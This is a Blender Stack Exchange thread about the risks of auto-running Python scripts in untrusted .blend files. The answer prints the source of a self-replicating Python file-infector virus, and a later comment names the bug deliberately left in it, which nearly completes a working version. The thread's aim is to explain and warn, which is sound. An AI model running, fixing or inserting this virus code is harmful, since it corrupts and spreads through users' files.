3
$\begingroup$

I rarely uncheck "Trusted Source" (even when opening files downloaded from sites like this one), what sort of security risks am I leaving my self open to?

I know that with trusted source checked python scripts can automatically run, but what sort of nefarious things can happen?
This question does not shed much light on what could potentially happen.

Is it possible that just by oping a blend file that a virus could get installed?
Examples are welcome.

$\endgroup$
2
  • 1
    $\begingroup$ For starters anything that a python script could do to your computer (like wipe your disk) could happen... $\endgroup$ Jan 24, 2015 at 18:06
  • $\begingroup$ This is also related $\endgroup$
    – sambler
    Jan 25, 2015 at 4:25

1 Answer 1

5
$\begingroup$

Since os and sys modules are shipped with blender, the script could manipulate your files on disk, write files or overwrite them.

It could save some dll libraries or whole programs on your system. It could be malware, sniffing programs, viruses etc.

An example virus by Deque looks like this:

#MAGIC_STRING_skd83749872
import os
import __main__
import random

def infect(filename):
   os.rename(filename, filename + "~")
   destination = open(filename, "w")
   source = open(filename + "~", "r")
   this = open(__main__.__file__, "r")
   for line in this:
      destination.write(line)
      if line.startswith("#MAGIC_STRING_9348788nkmsd"):
         break;
   for line in source:
      destination.write(line)
   source.close()
   destination.close()
   this.close()

def is_infected(filename):
   f = open(filename, "x")
   return f.readline().startswith("#MAGIC_STRING_skd83749872")

def find_and_infect_files():
   path = "."
   dirs = os.listdir(path)
   for filename in dirs:
      if filename.endswith(".py") and not is_infected(filename):
         infect(filename)

find_and_infect_files()
print "----------this is silly python virus----------"
#MAGIC_STRING_9348788nkmsd

This is a "harmless" code able of replicating itself - it copies itself into every python file in the working directory (but it could be anywhere on your system). There is a bug in the code to prevent noobs from running it.

$\endgroup$
3
  • 1
    $\begingroup$ In other words, tremendous risk :-| $\endgroup$
    – J Sargent
    Jan 24, 2015 at 18:29
  • $\begingroup$ I found the bug :) In the is_infected function, it opens the file with "x" instead of "r". "x" is used to create a new file and write to it, and doesn't work if the file already exists, so it's definitely not what you'd use to read an existing file. Another bug (that's less likely to occur) is that it'll crash if there's a directory with a name ending in .py. (I later found out I could google the MAGIC_STRINGs and find the original, since the Deque link no longer works.) $\endgroup$
    – Sparkette
    Jun 29, 2021 at 1:28
  • $\begingroup$ @flarn2006 yup:) and thx for pointing out that broken link, fixed it. $\endgroup$ Jun 29, 2021 at 3:24

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .